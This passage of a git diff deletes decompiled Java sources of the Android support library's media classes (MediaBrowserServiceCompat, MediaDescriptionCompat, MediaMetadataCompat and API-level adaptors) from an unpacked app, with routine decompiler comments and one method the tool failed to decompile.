1) != 0) { - list = MediaBrowserServiceCompat.this.applyOptions(list, bundle); - } - try { - connectionRecord.callbacks.onLoadChildren(str, list, bundle); - } catch (RemoteException unused) { - Log.w(MediaBrowserServiceCompat.TAG, "Calling onLoadChildren() failed for id=" + str + " package=" + connectionRecord.pkg); - } - } - }; - this.mCurConnection = connectionRecord; - if (bundle == null) { - onLoadChildren(str, result); - } else { - onLoadChildren(str, result, bundle); - } - this.mCurConnection = null; - if (!result.isDone()) { - throw new IllegalStateException("onLoadChildren must call detach() or sendResult() before returning for package=" + connectionRecord.pkg + " id=" + str); - } - } - - List applyOptions(List list, Bundle bundle) { - if (list == null) { - return null; - } - int i = bundle.getInt(MediaBrowserCompat.EXTRA_PAGE, -1); - int i2 = bundle.getInt(MediaBrowserCompat.EXTRA_PAGE_SIZE, -1); - if (i == -1 && i2 == -1) { - return list; - } - int i3 = i2 * i; - int i4 = i3 + i2; - if (i < 0 || i2 < 1 || i3 >= list.size()) { - return Collections.EMPTY_LIST; - } - if (i4 > list.size()) { - i4 = list.size(); - } - return list.subList(i3, i4); - } - - void performLoadItem(String str, ConnectionRecord connectionRecord, final ResultReceiver resultReceiver) { - Result result = new Result(str) { // from class: android.support.v4.media.MediaBrowserServiceCompat.2 - /* JADX INFO: Access modifiers changed from: package-private */ - @Override // android.support.v4.media.MediaBrowserServiceCompat.Result - public void onResultSent(MediaBrowserCompat.MediaItem mediaItem, int i) { - if ((i & 2) != 0) { - resultReceiver.send(-1, null); - return; - } - Bundle bundle = new Bundle(); - bundle.putParcelable(MediaBrowserServiceCompat.KEY_MEDIA_ITEM, mediaItem); - resultReceiver.send(0, bundle); - } - }; - this.mCurConnection = connectionRecord; - onLoadItem(str, result); - this.mCurConnection = null; - if (!result.isDone()) { - throw new IllegalStateException("onLoadItem must call detach() or sendResult() before returning for id=" + str); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class BrowserRoot { - public static final String EXTRA_OFFLINE = "android.service.media.extra.OFFLINE"; - public static final String EXTRA_RECENT = "android.service.media.extra.RECENT"; - public static final String EXTRA_SUGGESTED = "android.service.media.extra.SUGGESTED"; - public static final String EXTRA_SUGGESTION_KEYWORDS = "android.service.media.extra.SUGGESTION_KEYWORDS"; - private final Bundle mExtras; - private final String mRootId; - - public BrowserRoot(String str, Bundle bundle) { - if (str == null) { - throw new IllegalArgumentException("The root id in BrowserRoot cannot be null. Use null for BrowserRoot instead."); - } - this.mRootId = str; - this.mExtras = bundle; - } - - public String getRootId() { - return this.mRootId; - } - - public Bundle getExtras() { - return this.mExtras; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserServiceCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserServiceCompatApi21.java deleted file mode 100644 index c0cbd4b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserServiceCompatApi21.java +++ /dev/null @@ -1,122 +0,0 @@ -package android.support.v4.media; - -import android.content.Context; -import android.content.Intent; -import android.media.browse.MediaBrowser; -import android.media.session.MediaSession; -import android.os.Bundle; -import android.os.IBinder; -import android.os.Parcel; -import android.service.media.MediaBrowserService; -import java.util.ArrayList; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaBrowserServiceCompatApi21 { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface ServiceCompatProxy { - BrowserRoot onGetRoot(String str, int i, Bundle bundle); - - void onLoadChildren(String str, ResultWrapper> resultWrapper); - } - - MediaBrowserServiceCompatApi21() { - } - - public static Object createService(Context context, ServiceCompatProxy serviceCompatProxy) { - return new MediaBrowserServiceAdaptor(context, serviceCompatProxy); - } - - public static void onCreate(Object obj) { - ((MediaBrowserService) obj).onCreate(); - } - - public static IBinder onBind(Object obj, Intent intent) { - return ((MediaBrowserService) obj).onBind(intent); - } - - public static void setSessionToken(Object obj, Object obj2) { - ((MediaBrowserService) obj).setSessionToken((MediaSession.Token) obj2); - } - - public static void notifyChildrenChanged(Object obj, String str) { - ((MediaBrowserService) obj).notifyChildrenChanged(str); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ResultWrapper { - MediaBrowserService.Result mResultObj; - - /* JADX INFO: Access modifiers changed from: package-private */ - public ResultWrapper(MediaBrowserService.Result result) { - this.mResultObj = result; - } - - /* JADX WARN: Multi-variable type inference failed */ - public void sendResult(T t) { - if (t instanceof List) { - this.mResultObj.sendResult(parcelListToItemList((List) t)); - } else if (t instanceof Parcel) { - Parcel parcel = (Parcel) t; - this.mResultObj.sendResult(MediaBrowser.MediaItem.CREATOR.createFromParcel(parcel)); - parcel.recycle(); - } else { - this.mResultObj.sendResult(null); - } - } - - public void detach() { - this.mResultObj.detach(); - } - - List parcelListToItemList(List list) { - if (list == null) { - return null; - } - ArrayList arrayList = new ArrayList(); - for (Parcel parcel : list) { - parcel.setDataPosition(0); - arrayList.add(MediaBrowser.MediaItem.CREATOR.createFromParcel(parcel)); - parcel.recycle(); - } - return arrayList; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BrowserRoot { - final Bundle mExtras; - final String mRootId; - - /* JADX INFO: Access modifiers changed from: package-private */ - public BrowserRoot(String str, Bundle bundle) { - this.mRootId = str; - this.mExtras = bundle; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MediaBrowserServiceAdaptor extends MediaBrowserService { - final ServiceCompatProxy mServiceProxy; - - /* JADX INFO: Access modifiers changed from: package-private */ - public MediaBrowserServiceAdaptor(Context context, ServiceCompatProxy serviceCompatProxy) { - attachBaseContext(context); - this.mServiceProxy = serviceCompatProxy; - } - - @Override // android.service.media.MediaBrowserService - public MediaBrowserService.BrowserRoot onGetRoot(String str, int i, Bundle bundle) { - BrowserRoot onGetRoot = this.mServiceProxy.onGetRoot(str, i, bundle); - if (onGetRoot == null) { - return null; - } - return new MediaBrowserService.BrowserRoot(onGetRoot.mRootId, onGetRoot.mExtras); - } - - @Override // android.service.media.MediaBrowserService - public void onLoadChildren(String str, MediaBrowserService.Result> result) { - this.mServiceProxy.onLoadChildren(str, new ResultWrapper<>(result)); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserServiceCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserServiceCompatApi23.java deleted file mode 100644 index 642979b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserServiceCompatApi23.java +++ /dev/null @@ -1,35 +0,0 @@ -package android.support.v4.media; - -import android.content.Context; -import android.media.browse.MediaBrowser; -import android.os.Parcel; -import android.service.media.MediaBrowserService; -import android.support.v4.media.MediaBrowserServiceCompatApi21; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaBrowserServiceCompatApi23 { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface ServiceCompatProxy extends MediaBrowserServiceCompatApi21.ServiceCompatProxy { - void onLoadItem(String str, MediaBrowserServiceCompatApi21.ResultWrapper resultWrapper); - } - - MediaBrowserServiceCompatApi23() { - } - - public static Object createService(Context context, ServiceCompatProxy serviceCompatProxy) { - return new MediaBrowserServiceAdaptor(context, serviceCompatProxy); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MediaBrowserServiceAdaptor extends MediaBrowserServiceCompatApi21.MediaBrowserServiceAdaptor { - /* JADX INFO: Access modifiers changed from: package-private */ - public MediaBrowserServiceAdaptor(Context context, ServiceCompatProxy serviceCompatProxy) { - super(context, serviceCompatProxy); - } - - @Override // android.service.media.MediaBrowserService - public void onLoadItem(String str, MediaBrowserService.Result result) { - ((ServiceCompatProxy) this.mServiceProxy).onLoadItem(str, new MediaBrowserServiceCompatApi21.ResultWrapper<>(result)); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserServiceCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserServiceCompatApi24.java deleted file mode 100644 index 14cf348..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserServiceCompatApi24.java +++ /dev/null @@ -1,94 +0,0 @@ -package android.support.v4.media; - -import android.content.Context; -import android.media.browse.MediaBrowser; -import android.os.Bundle; -import android.os.Parcel; -import android.service.media.MediaBrowserService; -import android.support.v4.media.MediaBrowserServiceCompatApi23; -import android.util.Log; -import java.lang.reflect.Field; -import java.util.ArrayList; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaBrowserServiceCompatApi24 { - private static final String TAG = "MBSCompatApi24"; - private static Field sResultFlags; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface ServiceCompatProxy extends MediaBrowserServiceCompatApi23.ServiceCompatProxy { - void onLoadChildren(String str, ResultWrapper resultWrapper, Bundle bundle); - } - - MediaBrowserServiceCompatApi24() { - } - - static { - try { - Field declaredField = MediaBrowserService.Result.class.getDeclaredField("mFlags"); - sResultFlags = declaredField; - declaredField.setAccessible(true); - } catch (NoSuchFieldException e) { - Log.w(TAG, e); - } - } - - public static Object createService(Context context, ServiceCompatProxy serviceCompatProxy) { - return new MediaBrowserServiceAdaptor(context, serviceCompatProxy); - } - - public static void notifyChildrenChanged(Object obj, String str, Bundle bundle) { - ((MediaBrowserService) obj).notifyChildrenChanged(str, bundle); - } - - public static Bundle getBrowserRootHints(Object obj) { - return ((MediaBrowserService) obj).getBrowserRootHints(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ResultWrapper { - MediaBrowserService.Result mResultObj; - - ResultWrapper(MediaBrowserService.Result result) { - this.mResultObj = result; - } - - public void sendResult(List list, int i) { - try { - MediaBrowserServiceCompatApi24.sResultFlags.setInt(this.mResultObj, i); - } catch (IllegalAccessException e) { - Log.w(MediaBrowserServiceCompatApi24.TAG, e); - } - this.mResultObj.sendResult(parcelListToItemList(list)); - } - - public void detach() { - this.mResultObj.detach(); - } - - List parcelListToItemList(List list) { - if (list == null) { - return null; - } - ArrayList arrayList = new ArrayList(); - for (Parcel parcel : list) { - parcel.setDataPosition(0); - arrayList.add(MediaBrowser.MediaItem.CREATOR.createFromParcel(parcel)); - parcel.recycle(); - } - return arrayList; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MediaBrowserServiceAdaptor extends MediaBrowserServiceCompatApi23.MediaBrowserServiceAdaptor { - MediaBrowserServiceAdaptor(Context context, ServiceCompatProxy serviceCompatProxy) { - super(context, serviceCompatProxy); - } - - @Override // android.service.media.MediaBrowserService - public void onLoadChildren(String str, MediaBrowserService.Result> result, Bundle bundle) { - ((ServiceCompatProxy) this.mServiceProxy).onLoadChildren(str, new ResultWrapper(result), bundle); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaDescriptionCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaDescriptionCompat.java deleted file mode 100644 index 8cd08db..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaDescriptionCompat.java +++ /dev/null @@ -1,251 +0,0 @@ -package android.support.v4.media; - -import android.graphics.Bitmap; -import android.net.Uri; -import android.os.Bundle; -import android.os.Parcel; -import android.os.Parcelable; -import android.support.v4.media.MediaDescriptionCompatApi21; -import android.support.v4.media.MediaDescriptionCompatApi23; -import android.text.TextUtils; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class MediaDescriptionCompat implements Parcelable { - public static final long BT_FOLDER_TYPE_ALBUMS = 2; - public static final long BT_FOLDER_TYPE_ARTISTS = 3; - public static final long BT_FOLDER_TYPE_GENRES = 4; - public static final long BT_FOLDER_TYPE_MIXED = 0; - public static final long BT_FOLDER_TYPE_PLAYLISTS = 5; - public static final long BT_FOLDER_TYPE_TITLES = 1; - public static final long BT_FOLDER_TYPE_YEARS = 6; - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.media.MediaDescriptionCompat.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public MediaDescriptionCompat createFromParcel(Parcel parcel) { - return MediaDescriptionCompat.fromMediaDescription(MediaDescriptionCompatApi21.fromParcel(parcel)); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public MediaDescriptionCompat[] newArray(int i) { - return new MediaDescriptionCompat[i]; - } - }; - public static final String DESCRIPTION_KEY_MEDIA_URI = "android.support.v4.media.description.MEDIA_URI"; - public static final String DESCRIPTION_KEY_NULL_BUNDLE_FLAG = "android.support.v4.media.description.NULL_BUNDLE_FLAG"; - public static final String EXTRA_BT_FOLDER_TYPE = "android.media.extra.BT_FOLDER_TYPE"; - private final CharSequence mDescription; - private Object mDescriptionObj; - private final Bundle mExtras; - private final Bitmap mIcon; - private final Uri mIconUri; - private final String mMediaId; - private final Uri mMediaUri; - private final CharSequence mSubtitle; - private final CharSequence mTitle; - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - MediaDescriptionCompat(String str, CharSequence charSequence, CharSequence charSequence2, CharSequence charSequence3, Bitmap bitmap, Uri uri, Bundle bundle, Uri uri2) { - this.mMediaId = str; - this.mTitle = charSequence; - this.mSubtitle = charSequence2; - this.mDescription = charSequence3; - this.mIcon = bitmap; - this.mIconUri = uri; - this.mExtras = bundle; - this.mMediaUri = uri2; - } - - MediaDescriptionCompat(Parcel parcel) { - this.mMediaId = parcel.readString(); - this.mTitle = (CharSequence) TextUtils.CHAR_SEQUENCE_CREATOR.createFromParcel(parcel); - this.mSubtitle = (CharSequence) TextUtils.CHAR_SEQUENCE_CREATOR.createFromParcel(parcel); - this.mDescription = (CharSequence) TextUtils.CHAR_SEQUENCE_CREATOR.createFromParcel(parcel); - this.mIcon = (Bitmap) parcel.readParcelable(null); - this.mIconUri = (Uri) parcel.readParcelable(null); - this.mExtras = parcel.readBundle(); - this.mMediaUri = (Uri) parcel.readParcelable(null); - } - - public String getMediaId() { - return this.mMediaId; - } - - public CharSequence getTitle() { - return this.mTitle; - } - - public CharSequence getSubtitle() { - return this.mSubtitle; - } - - public CharSequence getDescription() { - return this.mDescription; - } - - public Bitmap getIconBitmap() { - return this.mIcon; - } - - public Uri getIconUri() { - return this.mIconUri; - } - - public Bundle getExtras() { - return this.mExtras; - } - - public Uri getMediaUri() { - return this.mMediaUri; - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - MediaDescriptionCompatApi21.writeToParcel(getMediaDescription(), parcel, i); - } - - public String toString() { - return ((Object) this.mTitle) + ", " + ((Object) this.mSubtitle) + ", " + ((Object) this.mDescription); - } - - public Object getMediaDescription() { - Object obj = this.mDescriptionObj; - if (obj == null) { - Object newInstance = MediaDescriptionCompatApi21.Builder.newInstance(); - MediaDescriptionCompatApi21.Builder.setMediaId(newInstance, this.mMediaId); - MediaDescriptionCompatApi21.Builder.setTitle(newInstance, this.mTitle); - MediaDescriptionCompatApi21.Builder.setSubtitle(newInstance, this.mSubtitle); - MediaDescriptionCompatApi21.Builder.setDescription(newInstance, this.mDescription); - MediaDescriptionCompatApi21.Builder.setIconBitmap(newInstance, this.mIcon); - MediaDescriptionCompatApi21.Builder.setIconUri(newInstance, this.mIconUri); - MediaDescriptionCompatApi21.Builder.setExtras(newInstance, this.mExtras); - MediaDescriptionCompatApi23.Builder.setMediaUri(newInstance, this.mMediaUri); - Object build = MediaDescriptionCompatApi21.Builder.build(newInstance); - this.mDescriptionObj = build; - return build; - } - return obj; - } - - /* JADX WARN: Removed duplicated region for block: B:18:0x0060 */ - /* JADX WARN: Removed duplicated region for block: B:19:0x0064 */ - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public static android.support.v4.media.MediaDescriptionCompat fromMediaDescription(java.lang.Object r8) { - /* - r0 = 0 - if (r8 == 0) goto L71 - android.support.v4.media.MediaDescriptionCompat$Builder r1 = new android.support.v4.media.MediaDescriptionCompat$Builder - r1.() - java.lang.String r2 = android.support.v4.media.MediaDescriptionCompatApi21.getMediaId(r8) - r1.setMediaId(r2) - java.lang.CharSequence r2 = android.support.v4.media.MediaDescriptionCompatApi21.getTitle(r8) - r1.setTitle(r2) - java.lang.CharSequence r2 = android.support.v4.media.MediaDescriptionCompatApi21.getSubtitle(r8) - r1.setSubtitle(r2) - java.lang.CharSequence r2 = android.support.v4.media.MediaDescriptionCompatApi21.getDescription(r8) - r1.setDescription(r2) - android.graphics.Bitmap r2 = android.support.v4.media.MediaDescriptionCompatApi21.getIconBitmap(r8) - r1.setIconBitmap(r2) - android.net.Uri r2 = android.support.v4.media.MediaDescriptionCompatApi21.getIconUri(r8) - r1.setIconUri(r2) - android.os.Bundle r2 = android.support.v4.media.MediaDescriptionCompatApi21.getExtras(r8) - java.lang.String r3 = "android.support.v4.media.description.MEDIA_URI" - if (r2 != 0) goto L3c - r4 = r0 - goto L42 - L3c: - android.os.Parcelable r4 = r2.getParcelable(r3) - android.net.Uri r4 = (android.net.Uri) r4 - L42: - if (r4 == 0) goto L5a - java.lang.String r5 = "android.support.v4.media.description.NULL_BUNDLE_FLAG" - boolean r6 = r2.containsKey(r5) - if (r6 == 0) goto L54 - int r6 = r2.size() - r7 = 2 - if (r6 != r7) goto L54 - goto L5b - L54: - r2.remove(r3) - r2.remove(r5) - L5a: - r0 = r2 - L5b: - r1.setExtras(r0) - if (r4 == 0) goto L64 - r1.setMediaUri(r4) - goto L6b - L64: - android.net.Uri r0 = android.support.v4.media.MediaDescriptionCompatApi23.getMediaUri(r8) - r1.setMediaUri(r0) - L6b: - android.support.v4.media.MediaDescriptionCompat r0 = r1.build() - r0.mDescriptionObj = r8 - L71: - return r0 - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.media.MediaDescriptionCompat.fromMediaDescription(java.lang.Object):android.support.v4.media.MediaDescriptionCompat"); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class Builder { - private CharSequence mDescription; - private Bundle mExtras; - private Bitmap mIcon; - private Uri mIconUri; - private String mMediaId; - private Uri mMediaUri; - private CharSequence mSubtitle; - private CharSequence mTitle; - - public Builder setMediaId(String str) { - this.mMediaId = str; - return this; - } - - public Builder setTitle(CharSequence charSequence) { - this.mTitle = charSequence; - return this; - } - - public Builder setSubtitle(CharSequence charSequence) { - this.mSubtitle = charSequence; - return this; - } - - public Builder setDescription(CharSequence charSequence) { - this.mDescription = charSequence; - return this; - } - - public Builder setIconBitmap(Bitmap bitmap) { - this.mIcon = bitmap; - return this; - } - - public Builder setIconUri(Uri uri) { - this.mIconUri = uri; - return this; - } - - public Builder setExtras(Bundle bundle) { - this.mExtras = bundle; - return this; - } - - public Builder setMediaUri(Uri uri) { - this.mMediaUri = uri; - return this; - } - - public MediaDescriptionCompat build() { - return new MediaDescriptionCompat(this.mMediaId, this.mTitle, this.mSubtitle, this.mDescription, this.mIcon, this.mIconUri, this.mExtras, this.mMediaUri); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaDescriptionCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaDescriptionCompatApi21.java deleted file mode 100644 index 5421da5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaDescriptionCompatApi21.java +++ /dev/null @@ -1,84 +0,0 @@ -package android.support.v4.media; - -import android.graphics.Bitmap; -import android.media.MediaDescription; -import android.net.Uri; -import android.os.Bundle; -import android.os.Parcel; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaDescriptionCompatApi21 { - public static String getMediaId(Object obj) { - return ((MediaDescription) obj).getMediaId(); - } - - public static CharSequence getTitle(Object obj) { - return ((MediaDescription) obj).getTitle(); - } - - public static CharSequence getSubtitle(Object obj) { - return ((MediaDescription) obj).getSubtitle(); - } - - public static CharSequence getDescription(Object obj) { - return ((MediaDescription) obj).getDescription(); - } - - public static Bitmap getIconBitmap(Object obj) { - return ((MediaDescription) obj).getIconBitmap(); - } - - public static Uri getIconUri(Object obj) { - return ((MediaDescription) obj).getIconUri(); - } - - public static Bundle getExtras(Object obj) { - return ((MediaDescription) obj).getExtras(); - } - - public static void writeToParcel(Object obj, Parcel parcel, int i) { - ((MediaDescription) obj).writeToParcel(parcel, i); - } - - public static Object fromParcel(Parcel parcel) { - return MediaDescription.CREATOR.createFromParcel(parcel); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class Builder { - public static Object newInstance() { - return new MediaDescription.Builder(); - } - - public static void setMediaId(Object obj, String str) { - ((MediaDescription.Builder) obj).setMediaId(str); - } - - public static void setTitle(Object obj, CharSequence charSequence) { - ((MediaDescription.Builder) obj).setTitle(charSequence); - } - - public static void setSubtitle(Object obj, CharSequence charSequence) { - ((MediaDescription.Builder) obj).setSubtitle(charSequence); - } - - public static void setDescription(Object obj, CharSequence charSequence) { - ((MediaDescription.Builder) obj).setDescription(charSequence); - } - - public static void setIconBitmap(Object obj, Bitmap bitmap) { - ((MediaDescription.Builder) obj).setIconBitmap(bitmap); - } - - public static void setIconUri(Object obj, Uri uri) { - ((MediaDescription.Builder) obj).setIconUri(uri); - } - - public static void setExtras(Object obj, Bundle bundle) { - ((MediaDescription.Builder) obj).setExtras(bundle); - } - - public static Object build(Object obj) { - return ((MediaDescription.Builder) obj).build(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaDescriptionCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaDescriptionCompatApi23.java deleted file mode 100644 index 2b816d1..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaDescriptionCompatApi23.java +++ /dev/null @@ -1,24 +0,0 @@ -package android.support.v4.media; - -import android.media.MediaDescription; -import android.net.Uri; -import android.support.v4.media.MediaDescriptionCompatApi21; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaDescriptionCompatApi23 extends MediaDescriptionCompatApi21 { - MediaDescriptionCompatApi23() { - } - - public static Uri getMediaUri(Object obj) { - return ((MediaDescription) obj).getMediaUri(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class Builder extends MediaDescriptionCompatApi21.Builder { - Builder() { - } - - public static void setMediaUri(Object obj, Uri uri) { - ((MediaDescription.Builder) obj).setMediaUri(uri); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaMetadataCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaMetadataCompat.java deleted file mode 100644 index b1ae022..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaMetadataCompat.java +++ /dev/null @@ -1,379 +0,0 @@ -package android.support.v4.media; - -import android.graphics.Bitmap; -import android.net.Uri; -import android.os.Bundle; -import android.os.Parcel; -import android.os.Parcelable; -import android.support.v4.media.MediaDescriptionCompat; -import android.support.v4.util.ArrayMap; -import android.text.TextUtils; -import android.util.Log; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.util.Set; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class MediaMetadataCompat implements Parcelable { - public static final Parcelable.Creator CREATOR; - static final ArrayMap METADATA_KEYS_TYPE; - public static final String METADATA_KEY_ALBUM = "android.media.metadata.ALBUM"; - public static final String METADATA_KEY_ALBUM_ART = "android.media.metadata.ALBUM_ART"; - public static final String METADATA_KEY_ALBUM_ARTIST = "android.media.metadata.ALBUM_ARTIST"; - public static final String METADATA_KEY_ALBUM_ART_URI = "android.media.metadata.ALBUM_ART_URI"; - public static final String METADATA_KEY_ART = "android.media.metadata.ART"; - public static final String METADATA_KEY_ARTIST = "android.media.metadata.ARTIST"; - public static final String METADATA_KEY_ART_URI = "android.media.metadata.ART_URI"; - public static final String METADATA_KEY_AUTHOR = "android.media.metadata.AUTHOR"; - public static final String METADATA_KEY_BT_FOLDER_TYPE = "android.media.metadata.BT_FOLDER_TYPE"; - public static final String METADATA_KEY_COMPILATION = "android.media.metadata.COMPILATION"; - public static final String METADATA_KEY_COMPOSER = "android.media.metadata.COMPOSER"; - public static final String METADATA_KEY_DATE = "android.media.metadata.DATE"; - public static final String METADATA_KEY_DISC_NUMBER = "android.media.metadata.DISC_NUMBER"; - public static final String METADATA_KEY_DISPLAY_DESCRIPTION = "android.media.metadata.DISPLAY_DESCRIPTION"; - public static final String METADATA_KEY_DISPLAY_ICON = "android.media.metadata.DISPLAY_ICON"; - public static final String METADATA_KEY_DISPLAY_ICON_URI = "android.media.metadata.DISPLAY_ICON_URI"; - public static final String METADATA_KEY_DISPLAY_SUBTITLE = "android.media.metadata.DISPLAY_SUBTITLE"; - public static final String METADATA_KEY_DISPLAY_TITLE = "android.media.metadata.DISPLAY_TITLE"; - public static final String METADATA_KEY_DURATION = "android.media.metadata.DURATION"; - public static final String METADATA_KEY_GENRE = "android.media.metadata.GENRE"; - public static final String METADATA_KEY_MEDIA_ID = "android.media.metadata.MEDIA_ID"; - public static final String METADATA_KEY_MEDIA_URI = "android.media.metadata.MEDIA_URI"; - public static final String METADATA_KEY_NUM_TRACKS = "android.media.metadata.NUM_TRACKS"; - public static final String METADATA_KEY_RATING = "android.media.metadata.RATING"; - public static final String METADATA_KEY_TITLE = "android.media.metadata.TITLE"; - public static final String METADATA_KEY_TRACK_NUMBER = "android.media.metadata.TRACK_NUMBER"; - public static final String METADATA_KEY_USER_RATING = "android.media.metadata.USER_RATING"; - public static final String METADATA_KEY_WRITER = "android.media.metadata.WRITER"; - public static final String METADATA_KEY_YEAR = "android.media.metadata.YEAR"; - static final int METADATA_TYPE_BITMAP = 2; - static final int METADATA_TYPE_LONG = 0; - static final int METADATA_TYPE_RATING = 3; - static final int METADATA_TYPE_TEXT = 1; - private static final String[] PREFERRED_BITMAP_ORDER; - private static final String[] PREFERRED_DESCRIPTION_ORDER; - private static final String[] PREFERRED_URI_ORDER; - private static final String TAG = "MediaMetadata"; - final Bundle mBundle; - private MediaDescriptionCompat mDescription; - private Object mMetadataObj; - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface BitmapKey { - } - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface LongKey { - } - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface RatingKey { - } - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface TextKey { - } - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - static { - ArrayMap arrayMap = new ArrayMap<>(); - METADATA_KEYS_TYPE = arrayMap; - arrayMap.put(METADATA_KEY_TITLE, 1); - arrayMap.put(METADATA_KEY_ARTIST, 1); - arrayMap.put(METADATA_KEY_DURATION, 0); - arrayMap.put(METADATA_KEY_ALBUM, 1); - arrayMap.put(METADATA_KEY_AUTHOR, 1); - arrayMap.put(METADATA_KEY_WRITER, 1); - arrayMap.put(METADATA_KEY_COMPOSER, 1); - arrayMap.put(METADATA_KEY_COMPILATION, 1); - arrayMap.put(METADATA_KEY_DATE, 1); - arrayMap.put(METADATA_KEY_YEAR, 0); - arrayMap.put(METADATA_KEY_GENRE, 1); - arrayMap.put(METADATA_KEY_TRACK_NUMBER, 0); - arrayMap.put(METADATA_KEY_NUM_TRACKS, 0); - arrayMap.put(METADATA_KEY_DISC_NUMBER, 0); - arrayMap.put(METADATA_KEY_ALBUM_ARTIST, 1); - arrayMap.put(METADATA_KEY_ART, 2); - arrayMap.put(METADATA_KEY_ART_URI, 1); - arrayMap.put(METADATA_KEY_ALBUM_ART, 2); - arrayMap.put(METADATA_KEY_ALBUM_ART_URI, 1); - arrayMap.put(METADATA_KEY_USER_RATING, 3); - arrayMap.put(METADATA_KEY_RATING, 3); - arrayMap.put(METADATA_KEY_DISPLAY_TITLE, 1); - arrayMap.put(METADATA_KEY_DISPLAY_SUBTITLE, 1); - arrayMap.put(METADATA_KEY_DISPLAY_DESCRIPTION, 1); - arrayMap.put(METADATA_KEY_DISPLAY_ICON, 2); - arrayMap.put(METADATA_KEY_DISPLAY_ICON_URI, 1); - arrayMap.put(METADATA_KEY_MEDIA_ID, 1); - arrayMap.put(METADATA_KEY_BT_FOLDER_TYPE, 0); - arrayMap.put(METADATA_KEY_MEDIA_URI, 1); - PREFERRED_DESCRIPTION_ORDER = new String[]{METADATA_KEY_TITLE, METADATA_KEY_ARTIST, METADATA_KEY_ALBUM, METADATA_KEY_ALBUM_ARTIST, METADATA_KEY_WRITER, METADATA_KEY_AUTHOR, METADATA_KEY_COMPOSER}; - PREFERRED_BITMAP_ORDER = new String[]{METADATA_KEY_DISPLAY_ICON, METADATA_KEY_ART, METADATA_KEY_ALBUM_ART}; - PREFERRED_URI_ORDER = new String[]{METADATA_KEY_DISPLAY_ICON_URI, METADATA_KEY_ART_URI, METADATA_KEY_ALBUM_ART_URI}; - CREATOR = new Parcelable.Creator() { // from class: android.support.v4.media.MediaMetadataCompat.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public MediaMetadataCompat createFromParcel(Parcel parcel) { - return new MediaMetadataCompat(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public MediaMetadataCompat[] newArray(int i) { - return new MediaMetadataCompat[i]; - } - }; - } - - MediaMetadataCompat(Bundle bundle) { - this.mBundle = new Bundle(bundle); - } - - MediaMetadataCompat(Parcel parcel) { - this.mBundle = parcel.readBundle(); - } - - public boolean containsKey(String str) { - return this.mBundle.containsKey(str); - } - - public CharSequence getText(String str) { - return this.mBundle.getCharSequence(str); - } - - public String getString(String str) { - CharSequence charSequence = 